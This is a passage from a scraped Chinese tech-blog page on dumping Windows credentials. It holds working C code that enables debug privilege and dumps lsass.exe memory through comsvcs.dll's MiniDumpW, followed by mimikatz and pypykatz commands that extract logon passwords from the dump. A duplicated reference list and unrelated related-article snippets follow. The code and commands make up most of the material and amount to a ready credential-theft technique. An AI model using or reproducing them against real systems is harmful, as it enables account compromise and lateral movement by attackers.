    if (!setPrivilege(SE_DEBUG_NAME))
        return -1;

    // Create a memory dump of the lsass.exe process
    if (!createMiniDump())
        return -1;

    // Exit the program with a success status
    return 0;
}

MiniDump

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}

void GetDebugPrivilege()
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
}

void main()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

    GetDebugPrivilege();

    MiniDumpW(0, 0, ws);
}

离线读取

mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz lsa minidump lsass.dmp

reference

https://mp.weixin.qq.com/s/x_8U23StCPbAwFG7c7tF-Q
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://antipassion.github.io/2023/03/07/Windows%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94/
https://xz.aliyun.com/t/12344?time__1311=mqmhD57KGIoNDsD7GG7DyWx9imoZxr%2Bn%2BD
https://bbs.kanxue.com/thread-225761.htm
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://xz.aliyun.com/t/12157?time__1311=mqmhD5DKe%2Box%2FGQ0%3DQG%3DImp1xc7PD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-11
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://adepts.of0x.cc/hookson-hootoff/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html
https://blog.csdn.net/chenyujing1234/article/details/7743460
mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz lsa minidump lsass.dmp

reference

https://mp.weixin.qq.com/s/x_8U23StCPbAwFG7c7tF-Q
https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://antipassion.github.io/2023/03/07/Windows%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94/
https://xz.aliyun.com/t/12344?time__1311=mqmhD57KGIoNDsD7GG7DyWx9imoZxr%2Bn%2BD
https://bbs.kanxue.com/thread-225761.htm
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://xz.aliyun.com/t/12157?time__1311=mqmhD5DKe%2Box%2FGQ0%3DQG%3DImp1xc7PD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-11
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://adepts.of0x.cc/hookson-hootoff/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html
https://blog.csdn.net/chenyujing1234/article/details/7743460

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1685407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【git】开发提交规范(feat、fix、perf)

这段时间收到的需求很多&#xff0c;可能是临近两周一次的大版本灰度上线&#xff0c;这次产生了一个关于git的思考&#xff0c;就是各个版本之间怎么管理的问题&#xff0c;这里做出我自己的一些方法。 首先&#xff0c;既然已经明确了remote分支中的release分支为主分支&…

为什么说 Redis 是单线程的?——Java全栈知识(25)

为什么说 Redis 是单线程的&#xff1f; 我们常说的 Redis 是单线程的&#xff0c;但是我前面在讲持久化机制的时候又说 RDB 的持久化是通过主进程 fork 出一个子进程来实现 RDB 持久化。那么 Redis 到底是多线程还是单线程的呢&#xff1f; Redis 的网络 IO 和键值的读写是单…

爬虫学习--11.MySQL数据库的基本操作(上)

MySQL数据库的基本操作 创建数据库 我们可以在登陆 MySQL 服务后&#xff0c;使用命令创建数据库&#xff0c;语法如下: CREATE DATABASE 数据库名; 显示所有的数据库 show databases; 删除数据库 使用普通用户登陆 MySQL 服务器&#xff0c;你可能需要特定的权限来创建或者删…

java中的StringBuffer类和StringBuildet类

一、StringBuffer类 1、特点 底层是不被final修饰的char数组value,数组地址可以发生改变&#xff0c;当StringBuffer类对象的值发生改变时不用创建新的对象 2、构造方法 3、扩容规则 StringBuffer的底层数组value在扩容时为当前数组的长度2倍加2或者当前数组长度加上要追加…

CVE-2020-7982 OpenWrt 远程命令执行漏洞学习(更新中)

OpenWrt是一款应用于嵌入式设备如路由器等的Linux操作系统。类似于kali等linux系统中的apt-get等&#xff0c;该系统中下载应用使用的是opgk工具&#xff0c;其通过非加密的HTTP连接来下载应用。但是其下载的应用使用了SHA256sum哈希值来进行检验&#xff0c;所以将下载到的数据…

如何将短信从 iPhone 传输到计算机 - 5 种灵活的方式

概括 与他人交流的多种方式之一是发送短信。对于那些包含珍贵回忆或重要信息的消息&#xff0c;您需要将它们发送到另一台设备&#xff08;例如计算机&#xff09;进行备份。将短信文件发送到计算机是保存宝贵数据的最佳方法之一。继续阅读本文&#xff0c;了解如何将短信从 i…

深度学习 | 复杂注意力神经网络 —— 大模型

前面讲解了注意力神经网络 一、BERT模型 1、什么是BERT 它是由谷歌在2018年提出的 双向Transformer 编码器模型。 Bidirectional Encoder Representations from Transformers. 主要使用了Transformer的编码器 Transformer 编码器堆叠&#xff1b; 预训练 精调两步结构。 BERT…

FreeBSD/Linux下的系统资源监视器排队队

bpytop bpytop 是一个基于 Python 的资源监视器&#xff0c;可以在 FreeBSD 上使用。它提供了对文件写入磁盘、网络、CPU 和内存占用的监视功能。 pkg install bpytop 或者用ports安装 cd /usr/ports/sysutils/bpytop/ make install clean bashtop bashtop 也是一个基于 P…

微服务如何做好监控

大家好&#xff0c;我是苍何。 在脉脉上看到这条帖子&#xff0c;说阿里 P8 因为上面 P9 斗争失败走人&#xff0c;以超龄 35 被裁&#xff0c;Boss 上找工作半年&#xff0c;到现在还处于失业中。 看了下沟通记录&#xff0c; 沟通了 1000 多次&#xff0c;但没有一个邀请投递…

AI网络爬虫:批量爬取电视猫上面的《庆余年》分集剧情

电视猫上面有《庆余年》分集剧情&#xff0c;如何批量爬取下来呢&#xff1f; 先找到每集的链接地址&#xff0c;都在这个class"epipage clear"的div标签里面的li标签下面的a标签里面&#xff1a; <a href"/drama/Yy0wHDA/episode">1</a> 这个…

Redis篇 浅谈分布式系统

分布式系统 一. 单机架构二.分布式系统引入三.引入更多的应用服务器四.读写分离五.引入缓存服务器六. 将数据库服务器拆分七.微服务架构 一. 单机架构 单机架构,就是用一台服务器,完成所有的工作. 这时候就需要我们引入分布式系统了. 分布式系统是什么含义呢?就是由一台主机服…

Webpack源码泄露到Vue快速入门

前言 1.webpack 源码泄露 1.1漏洞简介 1.2存在泄露的站点 1.3 如何判断是否存在漏洞 方法1: 方法2: 1.4.如何将js.map文件还原为项目文件 1. 4.1查看npm版本 1.4.2 安装reverse-sourcemap 1. 4.3.检查是否安装 ​1. 4.4 使用reverse-sourcemap进行js.map文件还原操作…

二、信号连接槽函数

需求&#xff1a;点击Button按钮&#xff08;下班&#xff09;&#xff0c;label显示淦饭 信号发出者&#xff1a;Button 发送的信号&#xff08;signals&#xff09;&#xff1a;被点击 信号接收者&#xff1a;label 信号的处理&#xff08;slots&#xff09;&#xff1a;显示…

Rocketmq集群再搭建

注意上面这个官方架构是 主从模式&#xff0c;还无法做到高可用&#xff0c;因为master节点宕机&#xff0c;从节点没法变成主节点&#xff0c;需要人工重启&#xff0c;够用了。 1. 先准备1台虚拟机&#xff0c;装好1台再克隆2台 根据上面的图&#xff0c;3台机器中有一台…

【再探】Java—泛型

Java 泛型本质是参数化类型&#xff0c;可以用在类、接口和方法的创建中。 1 “擦除式”泛型 Java的“擦除式”的泛型实现一直受到开发者的诟病。 “擦除式”的实现几乎只需要在Javac编译器上做出改进即可&#xff0c;不要改动字节码、虚拟机&#xff0c;也保证了以前没有使…

MVVM_MVVMLight架构

介绍 MVVMLight是一个实现MVVM模式的轻量级框架&#xff08;相对于Prism&#xff09;&#xff0c;能够更好的帮助我们开发WPF Windows Phone、Windows 8、SilverLight相关项目。 安装 在NuGet 工具箱上搜索MVVMLight进行下载 下载后它帮你生成ViewModel文件夹&#xff0c;里面…

深度学习之基于Tensorflow卷积神经网络脑肿瘤分类识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 脑肿瘤是医学领域的一个重要问题&#xff0c;对人类的健康构成了严重威胁。传统的脑肿瘤分类识别方法…

老的 IIS + MSSQL 网站迁移实例

因为公司需要从云上迁移回本地&#xff0c;但云平台不愿意导出虚拟机文件&#xff0c;所以公司需要手工迁移。 查看了一下云主机&#xff0c;安装了IIS&#xff0c;还有MSSQL数据库&#xff0c;于是在本地搭建好相同的OSIISMSSQL 环境&#xff0c;在把数据库导入完成、 IIS 搭建…

AcWing 217:绿豆蛙的归宿 ← 搜索算法

【题目来源】https://www.acwing.com/problem/content/219/【题目描述】 给出一个有向无环的连通图&#xff0c;起点为 1&#xff0c;终点为 N&#xff0c;每条边都有一个长度。 数据保证从起点出发能够到达图中所有的点&#xff0c;图中所有的点也都能够到达终点。 绿豆蛙从起…

iptables防火墙【☆】

一、防火墙的基础 防火墙分为硬件防火墙和软件防火墙&#xff0c;硬件防火墙有专门的设备&#xff1a;如国产华为、绿盟等&#xff0c;作为网关层做地址转换等安全防护。很多公司基本都会使用硬件防火墙做第一道防御&#xff0c;在核心业务上再添加软件防火墙提高安全性能…